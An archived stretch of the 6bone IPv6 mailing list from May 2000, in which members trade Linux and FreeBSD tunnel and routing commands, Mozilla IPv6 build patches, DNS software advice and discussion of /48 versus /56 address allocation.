setting up tunnels (sit0 devices) and routing...i tried it before with
freenet6 and i had same routes on 2 different devices, eth0 and sit1

Can you tell me step-by-step how to setup a tunneling for IPv6 in Linux?

Thanks a lot

Radu Malica



From 6bone-owner  Mon May 15 06:21:46 2000
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buck dvash wrote:
> 
> I have FreeBSD 4.0 STABLE running as a router to other clients.
> The thing I want to know, I read in your site I need to find a "potential
> 6bone pTLA/pNLA transits"
> Like I think it`s finding someone to fund my 24/7 + IPv6 address...
> 
> Anyways if someone can really tell me what my job is, I`ll be glad to do it
> [=

I am in a similar position, and I think this
http://www.6bone.net/6bone_hookup.html page best describes it.

Jim
-- 
Unix is like a wigwam -- no Gates, no Windows, and an Apache inside.

From 6bone-owner  Mon May 15 06:29:38 2000
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To: "'Marcelo Franca Alves (MFA)'" <mfa@mfa.eti.br>
Cc: 6bone@ISI.EDU
Subject: RE: Linux can be used as a Router ??
Date: Mon, 15 May 2000 10:27:34 -0300
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you can use route -A inet6 add default dev eth0 for example.
i have red hat 6.0 whit net-tools-1.55 and default don't work i use ::/0

-----Mensaje original-----
De: Marcelo Franca Alves (MFA) [mailto:mfa@mfa.eti.br]
Enviado el: domingo 14 de mayo de 2000 23:01
Para: Dancer Vesperman; bluezy@dreamwiz.com
Cc: 6bone@ISI.EDU
Asunto: Re: Linux can be used as a Router ??


I have 2 linux box (RedHat 6.1 and RedHat 6.2) with
IPv6 default route.

It's ok for me!!
-----
Marcelo Franca Alves (MFA) http://www.mfa.eti.br
Sao Paulo - SP - Brasil
----- Original Message -----
From: "Dancer Vesperman" <dancer@zeor.simegen.com>
To: <bluezy@dreamwiz.com>
Cc: <6bone@ISI.EDU>
Sent: Sunday, May 14, 2000 7:00 PM
Subject: Re: Linux can be used as a Router ??


> À̼ºÁø(Sung-Jin.Lee) wrote:
>
> >
> >
> > thanx for warm answers.
> > i've already checked the sites u recommended
> > before i wrote the previous mail.
> >
> > but i'm still not clear.....
> > i thought Linux only can be used as a IPv6 host till now.
> > i need a Router. so i considered FreeBSD.
> >
> > does Linux can be used as a IPv6 Router ?
> >
> >
>
> Yes. Linux does not support the default route when forwarding ipv6
> packets, however (only when originating them), but apart from that, it's
> fully functional as an ipv6 router, AFAIK. I use it for that on several
> machines.
>
> D
>
>
>
>

From 6bone-owner  Mon May 15 06:31:41 2000
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From: "buck dvash" <buck@priest.com>
To: <6bone@ISI.EDU>
Subject: Setting up a local area net IPv6 router
Date: Mon, 15 May 2000 16:29:55 +0200
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How can I set up my FreeBSD an IPv6 IP and setting up my clients (win9x and
linux)?


From 6bone-owner  Mon May 15 07:37:31 2000
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From 6bone-owner  Mon May 15 07:49:55 2000
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Date: Mon, 15 May 2000 10:48:14 -0400 (EDT)
From: Greg Maxwell  <gmaxwell@Martin.FL.US>
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To: Martin Mares <mj@ucw.cz>
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        6bone@ISI.EDU
Subject: Re: Linux can be used as a Router ??
In-Reply-To: <20000515164711.A29424@atrey.karlin.mff.cuni.cz>
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On Mon, 15 May 2000, Martin Mares wrote:

> Hello!
[snip] 
>    BIRD (ftp://atrey.karlin.mff.cuni.cz/pub/bird/bird-0.0.0.tar.gz)
> should work have working BGP4+ as well. It's under development now, but
> the core and BGP should be relatively stable.

Hi! Yes, I've played with Bird some. I've not used it's BGP4+ support yet,
but BIRD has a wonderful config file syntax (unlike Zebra's pseudo-cisco
gunk) and looks very promising. 


From 6bone-owner  Mon May 15 09:53:56 2000
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From: Wojtek Bojdo/l <wojboj@lp.net.pl>
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On Mon, 15 May 2000, Radu Malica wrote:

> I got my IPv6 address and class from UUNet and they are ready to setup a
> tunnel. I use a Linux Box (redhat 6.1) and i'm a bit confused about
> setting up tunnels (sit0 devices) and routing...i tried it before with
> freenet6 and i had same routes on 2 different devices, eth0 and sit1
> 
> Can you tell me step-by-step how to setup a tunneling for IPv6 in Linux?

/sbin/ip tun add icm mode sit local 195.205.178.226 remote 193.219.28.246
ttl 64
/sbin/ip link set icm up
/sbin/ip addr add 3ffe:8010:16::2/126 dev icm

echo 1 > /proc/sys/net/ipv6/conf/all/forwarding

and you can also:
/sbin/ip route add 3000::/3 dev icm
if you don't use bgp.

-- 
Wojciech Bojdo/l
Linux & Unix Magazine


From 6bone-owner  Mon May 15 09:55:22 2000
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Reply-To: "Marcelo Franca Alves \(MFA\)" <mfa@mfa.eti.br>
From: "Marcelo Franca Alves \(MFA\)" <mfa@mfa.eti.br>
To: "Radu Malica" <thejoker@infostream.ro>, <6bone@ISI.EDU>
References: <Pine.LNX.4.10.10005151534520.18487-100000@box.infostream.ro>
Subject: Re: ipv6 tunnel
Date: Mon, 15 May 2000 13:49:50 -0300
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Important: the address below are only for example

Interface eth1 IPv6 address
/sbin/ifconfig eth1 add 3ffe:3c00:200:101::1/64

Enabling Routing
echo "1" >  /proc/sys/net/ipv6/conf/all/forwarding

Enabling default tunnel interface (sit0)
/sbin/ifconfig  sit0 up

Remote IPv4 address of  Tunnel
/sbin/ifconfig sit0 tunnel ::200.136.200.141

Enabling tunnel interface
/sbin/ifconfig  sit1 up

IPv6 local tunnel address
/sbin/ifconfig sit1 inet6 add 3ffe:3c00:700:3::2/126 </font></p>

Default route - IPv6 remote tunnel address (use ::0/0 don't use the word:
default)
/sbin/route -A inet6 add ::0/0 gw 3ffe:3c00:700:3::1 dev sit1

See more details in http://www.ipv6.mfa.eti.br (in portuguese)
-----
Marcelo Franca Alves (MFA) http://www.mfa.eti.br
Sao Paulo - SP - Brasil
----- Original Message -----
From: "Radu Malica" <thejoker@infostream.ro>
To: <6bone@ISI.EDU>
Sent: Monday, May 15, 2000 9:36 AM
Subject: ipv6 tunnel


>
> Hello
>
> I got my IPv6 address and class from UUNet and they are ready to setup a
> tunnel. I use a Linux Box (redhat 6.1) and i'm a bit confused about
> setting up tunnels (sit0 devices) and routing...i tried it before with
> freenet6 and i had same routes on 2 different devices, eth0 and sit1
>
> Can you tell me step-by-step how to setup a tunneling for IPv6 in Linux?
>
> Thanks a lot
>
> Radu Malica
>
>
>



From 6bone-owner  Mon May 15 13:45:56 2000
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From: "Joseph Chung" <joe.chung@riversoft.com>
To: "Marcelo Franca Alves (MFA)" <mfa@mfa.eti.br>,
        "Radu Malica" <thejoker@infostream.ro>, <6bone@ISI.EDU>
Subject: RE: ipv6 tunnel
Date: Mon, 15 May 2000 13:40:53 -0700
Message-ID: <NEBBKBLNBKGHEMMLFGOMEEEICAAA.joe.chung@riversoft.com>
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Can you tell me what steps you took to get the ip address and class from
UUNet?


Thank You,
Joseph Chung                        RiverSoft Inc.
joe.chung@riversoft.com             One Sansome Street Suite 2100
Office:    +1 (415) 438-2356        San Francisco, CA 94104
Cell:      +1 (415) 577-4817
Toll free: +1 (877) OPENRIVER       http://www.riversoft.com

The information in this email is confidential and may be legally
privileged.  It is intended solely for the addressee. Access to
this email by anyone else is unauthorised. If you are not the
intended recipient, any disclosure, copying, distribution or any
action taken or omitted to be taken in reliance on it, is
prohibited and may be unlawful.


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
Marcelo Franca Alves (MFA)
Sent: Monday, May 15, 2000 9:50 AM
To: Radu Malica; 6bone@ISI.EDU
Subject: Re: ipv6 tunnel


Important: the address below are only for example

Interface eth1 IPv6 address
/sbin/ifconfig eth1 add 3ffe:3c00:200:101::1/64

Enabling Routing
echo "1" >  /proc/sys/net/ipv6/conf/all/forwarding

Enabling default tunnel interface (sit0)
/sbin/ifconfig  sit0 up

Remote IPv4 address of  Tunnel
/sbin/ifconfig sit0 tunnel ::200.136.200.141

Enabling tunnel interface
/sbin/ifconfig  sit1 up

IPv6 local tunnel address
/sbin/ifconfig sit1 inet6 add 3ffe:3c00:700:3::2/126 </font></p>

Default route - IPv6 remote tunnel address (use ::0/0 don't use the word:
default)
/sbin/route -A inet6 add ::0/0 gw 3ffe:3c00:700:3::1 dev sit1

See more details in http://www.ipv6.mfa.eti.br (in portuguese)
-----
Marcelo Franca Alves (MFA) http://www.mfa.eti.br
Sao Paulo - SP - Brasil
----- Original Message -----
From: "Radu Malica" <thejoker@infostream.ro>
To: <6bone@ISI.EDU>
Sent: Monday, May 15, 2000 9:36 AM
Subject: ipv6 tunnel


>
> Hello
>
> I got my IPv6 address and class from UUNet and they are ready to setup a
> tunnel. I use a Linux Box (redhat 6.1) and i'm a bit confused about
> setting up tunnels (sit0 devices) and routing...i tried it before with
> freenet6 and i had same routes on 2 different devices, eth0 and sit1
>
> Can you tell me step-by-step how to setup a tunneling for IPv6 in Linux?
>
> Thanks a lot
>
> Radu Malica
>
>
>



------=_NextPart_000_000B_01BFBE73.309D12A0
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Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Joseph Chung.vcf"

BEGIN:VCARD
VERSION:2.1
N:Chung;Joseph
FN:Joseph Chung
TEL;WORK;VOICE:415 438-2356
TEL;CELL;VOICE:(415) 577-4817
TEL;WORK;FAX:415 438-2358
ADR;WORK:;;One Sansome Street Suite 2100;San Francisco;CA;94104
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:One Sansome Street Suite =
2100=3D0D=3D0ASan Francisco, CA 94104
EMAIL;PREF;INTERNET:joe.chung@riversoft.com
REV:20000510T234042Z
END:VCARD

------=_NextPart_000_000B_01BFBE73.309D12A0--


From 6bone-owner  Mon May 15 14:47:18 2000
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Date: Mon, 15 May 2000 15:42:17 -0600
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Folks,

I've just got a /48 IPv6 address space from one of the pTLA providers.
I set up my cisco 2514 as my tunnel source.
On my router's ethernet0, I subnet the assigned address to a /64
network.
This network has two workstations. One of them is Mandrake 7.0 Linux.

The problem that I am experiencing is on the Linux box 's eth0.
For now I set up my router to send out a prefix-advertisement every 60
seconds and have
the prefix valid for 360 seconds. When the prefix get expired, the linux
box the releases the
global unicast address and never re-acquires the prefix.

So I temporary fix the problem by shuting down the interface and
bringing it back up after the prefix expiring.

This will make the linux box send out Neighbor Discovery messages and
then get a prefix
advertisement from the router.

I would like to know if there is anyone experience with this kind of
problem before?

Thanks,

Nattapong.


From 6bone-owner  Mon May 15 17:28:39 2000
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How are you members?

I hope to make DNSv6 on Solaris7.
What software is good enough to make
DNSv6 easily?

Is the software free?

Thanks.
ksb


--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon May 15 21:56:32 2000
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Date: Tue, 16 May 2000 00:55:25 -0400 (EDT)
To: "Joseph Chung" <joe.chung@riversoft.com>
Cc: "Marcelo Franca Alves (MFA)" <mfa@mfa.eti.br>,
        "Radu Malica" <thejoker@infostream.ro>, ipv6ops
    <6bone@ISI.EDU>
Subject: RE: ipv6 tunnel
In-Reply-To: Joseph Chung's message of Mon, 15 May 2000 13:40:53 -0700 <NEBBKBLNBKGHEMMLFGOMEEEICAAA.joe.chung@riversoft.com>
References: <018701bfbe8d$9f0c1aa0$5413bec8@mfa1>
	<NEBBKBLNBKGHEMMLFGOMEEEICAAA.joe.chung@riversoft.com>
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"Joseph Chung" <joe.chung@riversoft.com> said:
> Can you tell me what steps you took to get the ip address and class from
> UUNet?

  I cannot answer what Radu did to get his allocation, or who he got
it from.  Perhaps he means UUNET-UK, aka Pipex.

  UUNET-US was recently granted a pTLA allocation on the 6bone, and
the proper contact for a connection through us would be email to
ipv6ops@eng.us.uu.net.  This is being done as a non-production
service, and is not yet able to pass through any of the normal sales
or support channels of UUNET Technologies, Inc.

  As an additional point of information, we haven't gotten the new
address space allocation policies firmed up yet, and will need to
finish that before we can make tunnels to "customers".  That may take
another week or two to be put into place.

  If you are looking for address space from UUNET-UK (riversoft.com is
registered to a company in London, but you look to be west coast...)
they can probably supply that in shorter term, and they do have an
IPv6 router in the CA Bay Area...  The contact for the ipv6 folks
there is, I believe, ipv6@uk.uu.net.

                          - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

> ----- Original Message -----
> From: "Radu Malica" <thejoker@infostream.ro>
> To: <6bone@ISI.EDU>
> Sent: Monday, May 15, 2000 9:36 AM
> Subject: ipv6 tunnel

>> Hello
>> 
>> I got my IPv6 address and class from UUNet and they are ready to setup a
>> tunnel. I use a Linux Box (redhat 6.1) and i'm a bit confused about
>> setting up tunnels (sit0 devices) and routing...i tried it before with
>> freenet6 and i had same routes on 2 different devices, eth0 and sit1
>> 
>> Can you tell me step-by-step how to setup a tunneling for IPv6 in Linux?
>> 
>> Thanks a lot
>> 
>> Radu Malica

From 6bone-owner  Tue May 16 00:46:48 2000
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200005160747.AAA18672@boreas.isi.edu>
Subject: Re: DNSv6
To: ksbn@kt.co.kr
Date: Tue, 16 May 2000 00:47:16 -0700 (PDT)
Cc: 6bone@ISI.EDU (6bone(=?EUC-KR?B?sbnBpg==?=))
In-Reply-To: <39209674.2C286895@kt.co.kr> from "ksb" at May 16, 2000 09:29:40 AM
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% 
% How are you members?
% 
% I hope to make DNSv6 on Solaris7.
% What software is good enough to make
% DNSv6 easily?
% 
% Is the software free?
% 
% Thanks.
% ksb
% 

	All versions of Bind from 4.9.4 on support AAAA and PTR support.
	There is no support for native IPv6 transport until Bindv9 
	(modulo some early hacks to 8.2.2). Bindv9 supports A6 and DNAME
	RR's as well.  BIND is freely available.

-- 
--bill

From 6bone-owner  Tue May 16 08:25:57 2000
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From: Radu Malica <thejoker@infostream.ro>
To: Joseph Chung <joe.chung@riversoft.com>
cc: "Marcelo Franca Alves (MFA)" <mfa@mfa.eti.br>, 6bone@ISI.EDU
Subject: RE: ipv6 tunnel
In-Reply-To: <NEBBKBLNBKGHEMMLFGOMEEEICAAA.joe.chung@riversoft.com>
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Just create your person and ipv6-site object to 6bone and the ncontact
your nearest physical location provider.

On Mon, 15 May 2000, Joseph Chung wrote:

> Can you tell me what steps you took to get the ip address and class from
> UUNet?
> 
> 
> Thank You,
> Joseph Chung                        RiverSoft Inc.
> joe.chung@riversoft.com             One Sansome Street Suite 2100
> Office:    +1 (415) 438-2356        San Francisco, CA 94104
> Cell:      +1 (415) 577-4817
> Toll free: +1 (877) OPENRIVER       http://www.riversoft.com
> 
> The information in this email is confidential and may be legally
> privileged.  It is intended solely for the addressee. Access to
> this email by anyone else is unauthorised. If you are not the
> intended recipient, any disclosure, copying, distribution or any
> action taken or omitted to be taken in reliance on it, is
> prohibited and may be unlawful.
> 
> 
> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
> Marcelo Franca Alves (MFA)
> Sent: Monday, May 15, 2000 9:50 AM
> To: Radu Malica; 6bone@ISI.EDU
> Subject: Re: ipv6 tunnel
> 
> 
> Important: the address below are only for example
> 
> Interface eth1 IPv6 address
> /sbin/ifconfig eth1 add 3ffe:3c00:200:101::1/64
> 
> Enabling Routing
> echo "1" >  /proc/sys/net/ipv6/conf/all/forwarding
> 
> Enabling default tunnel interface (sit0)
> /sbin/ifconfig  sit0 up
> 
> Remote IPv4 address of  Tunnel
> /sbin/ifconfig sit0 tunnel ::200.136.200.141
> 
> Enabling tunnel interface
> /sbin/ifconfig  sit1 up
> 
> IPv6 local tunnel address
> /sbin/ifconfig sit1 inet6 add 3ffe:3c00:700:3::2/126 </font></p>
> 
> Default route - IPv6 remote tunnel address (use ::0/0 don't use the word:
> default)
> /sbin/route -A inet6 add ::0/0 gw 3ffe:3c00:700:3::1 dev sit1
> 
> See more details in http://www.ipv6.mfa.eti.br (in portuguese)
> -----
> Marcelo Franca Alves (MFA) http://www.mfa.eti.br
> Sao Paulo - SP - Brasil
> ----- Original Message -----
> From: "Radu Malica" <thejoker@infostream.ro>
> To: <6bone@ISI.EDU>
> Sent: Monday, May 15, 2000 9:36 AM
> Subject: ipv6 tunnel
> 
> 
> >
> > Hello
> >
> > I got my IPv6 address and class from UUNet and they are ready to setup a
> > tunnel. I use a Linux Box (redhat 6.1) and i'm a bit confused about
> > setting up tunnels (sit0 devices) and routing...i tried it before with
> > freenet6 and i had same routes on 2 different devices, eth0 and sit1
> >
> > Can you tell me step-by-step how to setup a tunneling for IPv6 in Linux?
> >
> > Thanks a lot
> >
> > Radu Malica
> >
> >
> >
> 
> 
> 


From 6bone-owner  Thu May 18 05:50:52 2000
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From: James Housley <jim@thehousleys.net>
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QUESTION:
  What graphical web browsers that support IPv6 are available that will
work on FreeBSD or Linux?

REQUEST:
  Will someone with a graphical browser please check my IPv6 enabled
site.  http://www.ipv6.fbc-hanover.org should look identical to
http://www.fbc-hanover.org, with the exception the ipv6 site should have
the Kame turtles at the bottom.

Thanks, 

Jim
-- 
"Eagles may soar, but weasels don't get sucked into jet engines"
    -- Anon

From 6bone-owner  Thu May 18 06:55:33 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
Message-Id: <200005181353.VAA06644@ns.6test.edu.cn>
Subject: About address allocating
To: 6bone@ISI.EDU
Date: Thu, 18 May 2000 21:53:37 +0800 (CST)
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hi, I have the following questions about address allocating:
  I know SLA is /48, and interface ID should be 64 bits, 
does it mean that the smallest unit when allocating address is /48?
In other words, if I allocate a /48 to a large university, could I 
allocate a /48 to four middle schools, thus each middle school gets
an block less than /48, which is /50. Is this plan reasonable?
  And, could those who get sTLA of /35 give me some detailed plan in 
address allocating? Thanks.
  best
                       CERNET    Wu Haisang 
   

From 6bone-owner  Thu May 18 10:55:17 2000
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>>>>> On Thu, 18 May 2000 08:51:19 -0400
>>>>> James Housley <jim@thehousleys.net> said:

jim>   What graphical web browsers that support IPv6 are available that will
jim> work on FreeBSD or Linux?

Mozilla-M15 will be your friend.
I attach the patches.
1st is for FreeBSD's ports-current www/mozilla.  It also work on
KAME/FreeBSD3.
2nd is for Linux.

----Next_Part(Fri_May_19_02:49:37_2000_518)--
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Content-Description: mozilla-freebsd-ipv6.diff
Content-Disposition: attachment; filename="mozilla-freebsd-ipv6.diff"

Index: mozilla/Makefile
diff -u mozilla/Makefile.orig mozilla/Makefile
--- mozilla/Makefile.orig	Fri Apr 28 21:42:01 2000
+++ mozilla/Makefile	Fri Apr 28 21:42:16 2000
@@ -7,7 +7,7 @@
 
 PORTNAME=	mozilla
 PORTVERSION= 	M15
-CATEGORIES=	www
+CATEGORIES=	www ipv6
 MASTER_SITES=	ftp://ftp.mozilla.org/pub/mozilla/releases/${PORTVERSION:S/M/m/}/src/
 DISTNAME=	${PORTNAME}-source-${PORTVERSION}
 
Index: mozilla/patches/patch-ak
diff -u mozilla/patches/patch-ak.orig mozilla/patches/patch-ak
--- mozilla/patches/patch-ak.orig	Fri Feb  4 16:45:34 2000
+++ mozilla/patches/patch-ak	Fri Apr 28 22:20:58 2000
@@ -1,5 +1,7 @@
---- nsprpub/pr/include/md/_freebsd.h.orig	Wed Dec 22 15:39:04 1999
-+++ nsprpub/pr/include/md/_freebsd.h	Thu Feb  3 03:48:20 2000
+Index: nsprpub/pr/include/md/_freebsd.h
+diff -u nsprpub/pr/include/md/_freebsd.h.orig nsprpub/pr/include/md/_freebsd.h
+--- nsprpub/pr/include/md/_freebsd.h.orig	Thu Dec 23 08:39:04 1999
++++ nsprpub/pr/include/md/_freebsd.h	Fri Apr 28 22:14:54 2000
 @@ -21,6 +21,7 @@
  
  #include "prthread.h"
@@ -17,3 +19,16 @@
  #if !defined(_PR_PTHREADS)
  /*
   * libc_r doesn't have poll().  Although libc has poll(), it is not
+@@ -61,6 +62,12 @@
+ #endif
+ #define _PR_HAVE_SYSV_SEMAPHORES
+ #define PR_HAVE_SYSV_NAMED_SHARED_MEMORY
++
++#ifdef _PR_INET6
++#define _PR_HAVE_GETIPNODEBYNAME
++#define _PR_HAVE_GETIPNODEBYADDR
++#define _PR_INET6_PROBE
++#endif
+ 
+ #define USE_SETJMP
+ 
Index: mozilla/patches/patch-mi
diff -u mozilla/patches/patch-mi.orig mozilla/patches/patch-mi
--- mozilla/patches/patch-mi.orig	Thu Feb 10 02:58:56 2000
+++ mozilla/patches/patch-mi	Fri Apr 28 21:40:31 2000
@@ -1,5 +1,7 @@
---- nsprpub/config/FreeBSD.mk.orig	Wed Oct 20 14:19:53 1999
-+++ nsprpub/config/FreeBSD.mk	Thu Feb  3 03:48:20 2000
+Index: nsprpub/config/FreeBSD.mk
+diff -u nsprpub/config/FreeBSD.mk.orig nsprpub/config/FreeBSD.mk
+--- nsprpub/config/FreeBSD.mk.orig	Thu Oct 21 06:19:53 1999
++++ nsprpub/config/FreeBSD.mk	Fri Apr 28 21:01:01 2000
 @@ -21,14 +21,16 @@
  
  include $(MOD_DEPTH)/config/UNIX.mk
@@ -20,3 +22,20 @@
  CPU_ARCH		= x86
  endif
  CPU_ARCH_TAG		= _$(CPU_ARCH)
+@@ -61,3 +63,16 @@
+ MKSHLIB			= $(LD) $(DSO_LDOPTS)
+ 
+ G++INCLUDES		= -I/usr/include/g++
++
++# IPv6 support part of the standard FreeBSD 4.0 release.
++ifneq (,$(filter-out 2.0 2.1 2.2 3,$(basename $(OS_RELEASE))))
++USE_IPV6		= 1
++endif
++
++# IPv6 support part of the KAME.
++ifeq ($(shell test -f /usr/local/v6/lib/libinet6.a && echo kame),kame)
++USE_IPV6		= 1
++OS_LIBS			+= -L/usr/local/v6/lib -linet6
++endif
++
++OS_LIBS			+= -lxpg4

----Next_Part(Fri_May_19_02:49:37_2000_518)--
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Description: mozilla-linux-ipv6.diff
Content-Disposition: attachment; filename="mozilla-linux-ipv6.diff"

Index: mozilla/nsprpub/config/Linux.mk
diff -u mozilla/nsprpub/config/Linux.mk.orig mozilla/nsprpub/config/Linux.mk
--- mozilla/nsprpub/config/Linux.mk.orig	Sat Apr 29 03:22:00 2000
+++ mozilla/nsprpub/config/Linux.mk	Sat Apr 29 03:22:19 2000
@@ -112,3 +112,5 @@
 DSO_CFLAGS		= -fPIC
 DSO_LDOPTS		= -shared
 DSO_LDFLAGS		=
+
+USE_IPV6		= 1
Index: mozilla/nsprpub/pr/include/md/_linux.h
diff -u mozilla/nsprpub/pr/include/md/_linux.h.orig mozilla/nsprpub/pr/include/md/_linux.h
--- mozilla/nsprpub/pr/include/md/_linux.h.orig	Thu Mar  9 01:26:16 2000
+++ mozilla/nsprpub/pr/include/md/_linux.h	Sat Apr 29 03:18:59 2000
@@ -410,4 +410,8 @@
 /* For writev() */
 #include <sys/uio.h>
 
+#ifdef _PR_INET6
+#define _PR_HAVE_GETHOSTBYNAME2
+#endif
+
 #endif /* nspr_linux_defs_h___ */

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Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan
ume@mahoroba.org  ume@bisd.hitachi.co.jp  ume@FreeBSD.org
http://www.imasy.org/~ume/

----Next_Part(Fri_May_19_02:49:37_2000_518)----

From 6bone-owner  Thu May 18 12:04:58 2000
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Date: Thu, 18 May 2000 12:04:58 -0700
To: Haisang Wu <hswu@ns.6test.edu.cn>
From: Bob Fink <fink@es.net>
Subject: Re: About address allocating
Cc: 6BONE List <6bone@ISI.EDU>
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At 09:53 PM 5/18/2000 +0800, Haisang Wu wrote:
>hi, I have the following questions about address allocating:
>   I know SLA is /48, and interface ID should be 64 bits,
>does it mean that the smallest unit when allocating address is /48?
>In other words, if I allocate a /48 to a large university, could I
>allocate a /48 to four middle schools, thus each middle school gets
>an block less than /48, which is /50. Is this plan reasonable?

This is under discussion by the registries, and the outcome isn't clear 
yet, i.e., what to do in general for allocating public topology prefixes 
longer than /48 to smaller sites. Meanwhile, it is safe to say that your 
plan is ok if you consider your multiple middle schools one logical 
"individual organization", which is more likely to work for CERNET where 
you speak for the organizations from an Internet policy point of view, as 
opposed to a public ISP providing IPv6 service to multiple different 
customers (organizations).

Quoting from RFC2374:

>>3.5 Site-Level Aggregation Identifier
>>
>>    The SLA ID field is used by an individual organization to create its
>>    own local addressing hierarchy and to identify subnets.  This is
>>    analogous to subnets in IPv4 except that each organization has a much
>>    greater number of subnets.  The 16 bit SLA ID field support 65,535
>>    individual subnets.
>>
>>    Organizations may choose to either route their SLA ID "flat" (e.g.,
>>    not create any logical relationship between the SLA identifiers that
>>    results in larger routing tables), or to create a two or more level
>>    hierarchy (that results in smaller routing tables) in the SLA ID
>>    field.  The latter is shown as follows:
>>
>>
>>Hinden, et. al.             Standards Track                     [Page 6]
>>
>>RFC 2374           IPv6 Global Unicast Address Format          July 1998
>>
>>
>>    |  n  |   16-n     |              64 bits                |
>>    +-----+------------+-------------------------------------+
>>    |SLA1 |   Subnet   |            Interface ID             |
>>    +-----+------------+-------------------------------------+
>>
>>          | m  |16-n-m |              64 bits                |
>>          +----+-------+-------------------------------------+
>>          |SLA2|Subnet |            Interface ID             |
>>          +----+-------+-------------------------------------+
>>
>>    The approach chosen for structuring an SLA ID field is the
>>    responsibility of the individual organization.
>>
>>    The number of subnets supported in this address format should be
>>    sufficient for all but the largest of organizations.  Organizations
>>    which need additional subnets can arrange with the organization they
>>    are obtaining Internet service from to obtain additional site
>>    identifiers and use this to create additional subnets.


>   And, could those who get sTLA of /35 give me some detailed plan in
>address allocating? Thanks.
>   best

Take a look at ESnet's:

<http://esnet-v6r2.es.net/ipv6-addressing/>


Thanks,

Bob


From 6bone-owner  Thu May 18 12:16:08 2000
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Date: Thu, 18 May 2000 15:16:16 -0400
From: James Housley <jim@thehousleys.net>
Organization: The Housleys dot Net
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To: Toomas Soome <tsoome@ut.ee>, 6BONE User List <6bone@ISI.EDU>
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Toomas Soome wrote:
> 
> something wrong with Your DNS....
> 
> [103] tsoome@ut-gw:~>telnet www.ipv6.fbc-hanover.org 80
> www.ipv6.fbc-hanover.org: Unknown host
> [104] tsoome@ut-gw:~>host www.ipv6.fbc-hanover.org
> www.ipv6.fbc-hanover.org does not exist (Authoritative answer)
> [105] tsoome@ut-gw:~>host -t AAAA www.ipv6.fbc-hanover.org
> www.ipv6.fbc-hanover.org does not exist (Authoritative answer)
> 
It has been fixed I hope, but I will take a while to propagate.  The IP
in question is 3ffe:1ce3:6:0:2::a

Jim
-- 
In God we Trust -- all others must submit an X.509 certificate.
    -- Charles Forsythe <forsythe@alum.mit.edu>

From 6bone-owner  Fri May 19 02:12:31 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Haisang Wu <hswu@ns.6test.edu.cn>
cc: 6bone@ISI.EDU
Subject: Re: About address allocating 
In-reply-to: Your message of Thu, 18 May 2000 21:53:37 +0800.
             <200005181353.VAA06644@ns.6test.edu.cn> 
Date: Fri, 19 May 2000 11:11:01 +0200
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 In your previous mail you wrote:

   hi, I have the following questions about address allocating:
     I know SLA is /48, and interface ID should be 64 bits, 
   does it mean that the smallest unit when allocating address is /48?
   In other words, if I allocate a /48 to a large university, could I 
   allocate a /48 to four middle schools, thus each middle school gets
   an block less than /48, which is /50. Is this plan reasonable?

=> we'd like to get a /48, ISPs would like to give a /64 to us:
 - /48 seems a bit too large for a default allocation size
 - /64 is unusable when you need subneting
then the current idea, as presented yesterday here in Budapest
at the RIPE meeting, is to introduce "small site" which get
/56 (on byte boundary, large enough for up to 256 subnetworks or
a few levels of hierarchy).
Then /56 will become the default allocation size in RIR
allocation & assignment document.

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Fri May 19 04:48:32 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
Message-Id: <200005191145.TAA12923@ns.6test.edu.cn>
Subject: Re: About address allocating
In-Reply-To: <200005190911.LAA16011@givry.rennes.enst-bretagne.fr> from Francis Dupont at "May 19, 2000 11:11: 1 am"
To: Francis.Dupont@enst-bretagne.fr (Francis Dupont)
Date: Fri, 19 May 2000 19:45:19 +0800 (CST)
Cc: 6bone@ISI.EDU
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hi,
  I think /56 is a reasonable idea. In fact, as a pTLA of 
6bone, CERNET has allocated block of /56 in the address space
of 3ffe:3200::/24. 
  But 200::/35 is "formal" addresses, anyway, I think maybe we 
need a draft or something else to explain this. 
  best
                  Wu haisang  
 
>  In your previous mail you wrote:
> 
> => we'd like to get a /48, ISPs would like to give a /64 to us:
>  - /48 seems a bit too large for a default allocation size
>  - /64 is unusable when you need subneting
> then the current idea, as presented yesterday here in Budapest
> at the RIPE meeting, is to introduce "small site" which get
> /56 (on byte boundary, large enough for up to 256 subnetworks or
> a few levels of hierarchy).
> Then /56 will become the default allocation size in RIR
> allocation & assignment document.
> 
> Regards
> 
> Francis.Dupont@enst-bretagne.fr
> 


From 6bone-owner  Sat May 20 06:18:58 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: itojun@iijlab.net
cc: Haisang Wu <hswu@ns.6test.edu.cn>, 6bone@ISI.EDU
Subject: Re: About address allocating 
In-reply-to: Your message of Fri, 19 May 2000 22:26:23 +0900.
             <5536.958742783@coconut.itojun.org> 
Date: Sat, 20 May 2000 15:17:57 +0200
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 In your previous mail you wrote:

   
   >   hi, I have the following questions about address allocating:
   >     I know SLA is /48, and interface ID should be 64 bits, 
   >   does it mean that the smallest unit when allocating address is /48?
   >   In other words, if I allocate a /48 to a large university, could I 
   >   allocate a /48 to four middle schools, thus each middle school gets
   >   an block less than /48, which is /50. Is this plan reasonable?
   >
   >=> we'd like to get a /48, ISPs would like to give a /64 to us:
   > - /48 seems a bit too large for a default allocation size
   > - /64 is unusable when you need subneting
   >then the current idea, as presented yesterday here in Budapest
   >at the RIPE meeting, is to introduce "small site" which get
   >/56 (on byte boundary, large enough for up to 256 subnetworks or
   >a few levels of hierarchy).
   >Then /56 will become the default allocation size in RIR
   >allocation & assignment document.
   
   	I'm not sure if introducing "small sites" is a good thing...
   	when we switch ISP and they force me to switch from /48 to /56,
   	renumber becomes very hard.
   
=> the idea is that it is easier for someone which needs a /48
